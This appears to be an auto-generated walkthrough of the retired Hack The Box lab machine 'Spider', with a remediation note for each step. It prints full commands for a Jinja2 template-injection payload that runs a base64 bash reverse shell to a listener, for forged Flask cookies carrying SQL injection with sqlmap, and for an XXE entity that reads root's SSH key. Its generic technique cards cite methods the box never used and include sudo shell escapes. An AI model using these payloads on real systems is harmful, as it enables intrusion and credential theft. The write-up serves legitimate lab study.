Spider
Summary
Nmap/curl recon of <retired-instance-ip> found only nginx 1.14.0 (Ubuntu) on 80 — redirecting to vhost spider.htb (resolved via --resolve) — and OpenSSH 7.6p1 on 22. The site is a custom Flask furniture-shop app with UUID-based auth.
Registering a user with username={{7*7}} reflected 49 on /user, confirming a Jinja2 SSTI. The username field is capped at 10 chars, so the payload was switched to {{config}} to dump Flask's config object, leaking SECRET_KEY=[REDACTED: protected value].
The session cookie is a Flask-signed base64 JSON blob {"cart_items":[],"uuid":"<uuid>"}, and the uuid is concatenated unsanitized into a backend SQL query. Using the recovered SECRET_KEY, flask-unsign --sign forged a cookie with uuid = ' or 1=1 -- -; the homepage's reflected username flipped to chiv (the admin account), confirming boolean-based SQLi. UNION output wasn't reachable through the app directly, so a small local Flask proxy (/tmp/spider_proxy.py) was stood up to sign cookies and relay to spider.htb; sqlmap and a series of hand-rolled boolean/ASCII/HEX-oracle extraction scripts were driven against that proxy to dump shop.users and brute-force chiv's true UUID, landing on 129f60ea-30cf-4065-afb9-6be45ad38b73.
Forging a cookie with that UUID authenticated as chiv to /main (admin) and its linked support-ticket portal (...unfinished.supportportal), which has a second SSTI in the "Contact number/email" field behind a WAF blocking {{ }}, underscores, quotes, and if/for/set keywords. The filter was bypassed with {% include %} chained through request|attr() and \x5f\x5f-hex-escaped dunders to reach __globals__ → __builtins__ → __import__ → os.popen, verified blind with a sleep 11 timing check, then weaponized with a base64-encoded bash reverse shell to get RCE as chiv. id confirmed the shell; /home/chiv/user.txt yielded [REDACTED: flag].
Standard privesc enumeration (sudo -l, SUID, getcap, cron, container/cloud-metadata checks) came up empty. ps/ss -tulpn revealed a second uwsgi app (game.ini) bound to localhost:8080 and running as root. SSH local-port-forwarding it (ssh -L 8888:localhost:8080) exposed a passwordless login form whose hidden "version" field is reflected into a base64-encoded, lxml-parsed XML blob inside its own session cookie (decoded/re-signed with flask-session-cookie-manager). Closing the existing XML comment and injecting a DOCTYPE/external ENTITY test SYSTEM "file:///root/.ssh/id_rsa", then referencing &test; (URL-encoded) in the username field, triggered XXE entity expansion that leaked root's SSH private key directly in the response — giving ssh root@spider.htb and root.txt = [REDACTED: flag].
Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p22,80 $TARGETecho '$TARGET spider.htb' | sudo tee -a /etc/hostscurl -si http://$TARGET/ | head -60Exact commands 4
curl -c /tmp/spider1.jar -s -X POST http://$TARGET/register -d 'username=%7B%7B7%2A7%7D%7D&confirm_username=%7B%7B7%2A7%7D%7D&password=[REDACTED: credential]'curl -b /tmp/spider1.jar -s http://$TARGET/user | grep -o '49'curl -c /tmp/spider2.jar -s -X POST http://$TARGET/register -d 'username=%7B%7Bconfig%7D%7D&confirm_username=%7B%7Bconfig%7D%7D&password=[REDACTED: credential]'curl -b /tmp/spider2.jar -s http://$TARGET/user | grep -oP "SECRET_KEY.*?'[^']+'"FixRender user-supplied content as data, never as Jinja2 template codeCritical
Exact commands 4
flask-unsign --sign --secret '[REDACTED: recovered credential]' --cookie '{"cart_items":[],"uuid":"\' or 1=1 -- -"}'curl -s -b "session=<forged-sqli-cookie>" http://$TARGET/ | grep -i 'chiv'python3 /tmp/spider_proxy.py &sqlmap -u 'http://$LOOPBACK:5001/' --cookie 'session=FUZZ' -p session --dbms mysql --technique B --level 2 --dump -T users -D shop --batchFixParameterise all SQL queries and rotate the Flask signing secretCritical
Exact commands 3
flask-unsign --sign --secret '[REDACTED: recovered credential]' --cookie '{"cart_items":[],"uuid":"129f60ea-30cf-4065-afb9-6be45ad38b73"}'curl -s -b "session=<forged-chiv-cookie>" http://$TARGET/main | head -20curl -s -b "session=<forged-chiv-cookie>" http://$TARGET/[REDACTED: protected value].unfinished.supportportalFixParameterise all SQL queries and rotate the Flask signing secretCritical
Exact commands 5
nc -lvnp 4444export B64=$(echo 'bash -i >& /dev/tcp/<user-ip>/4444 0>&1' | base64 -w0)curl -s -b "session=<forged-chiv-cookie>" -X POST 'http://$TARGET/[REDACTED: protected value].unfinished.supportportal' --data-urlencode "contact={%+ include request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo ${B64}|base64 -d|bash') +%}"cat /home/chiv/user.txtcat /home/chiv/.ssh/id_rsaFixFix the second Jinja2 SSTI in the support portal and treat WAF rules as defence-in-depth onlyCritical
Exact commands 4
ps aux | grep uwsgiss -tulpnchmod 600 /tmp/chiv_id_rsa && ssh -N -L 8888:localhost:8080 -i /tmp/chiv_id_rsa -o StrictHostKeyChecking=no chiv@$TARGETcurl -si http://$LOOPBACK:8888/FixRun the internal uWSGI beta application as a dedicated low-privilege accountHigh
Exact commands 4
curl -s -c /tmp/beta.jar -X POST http://$LOOPBACK:8888/login -d 'username=test&version=1.0'python3 -c "import base64; print(base64.b64decode('<session-cookie-value>').decode())"curl -s -c /tmp/beta2.jar -X POST http://$LOOPBACK:8888/login --data-urlencode 'username=&test;' --data-urlencode 'version=--><!DOCTYPE foo [<!ENTITY test SYSTEM "file:///root/.ssh/id_rsa">]><!--'curl -s -b /tmp/beta2.jar http://$LOOPBACK:8888/ | grep -A9999 'BEGIN RSA'FixDisable external entity resolution in the lxml XML parser and move session state server-sideCritical
Exact commands 2
chmod 600 /tmp/root_spider.keyssh -i /tmp/root_spider.key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET 'id; cat /root/root.txt'FixRun the internal uWSGI beta application as a dedicated low-privilege accountHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), I can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http |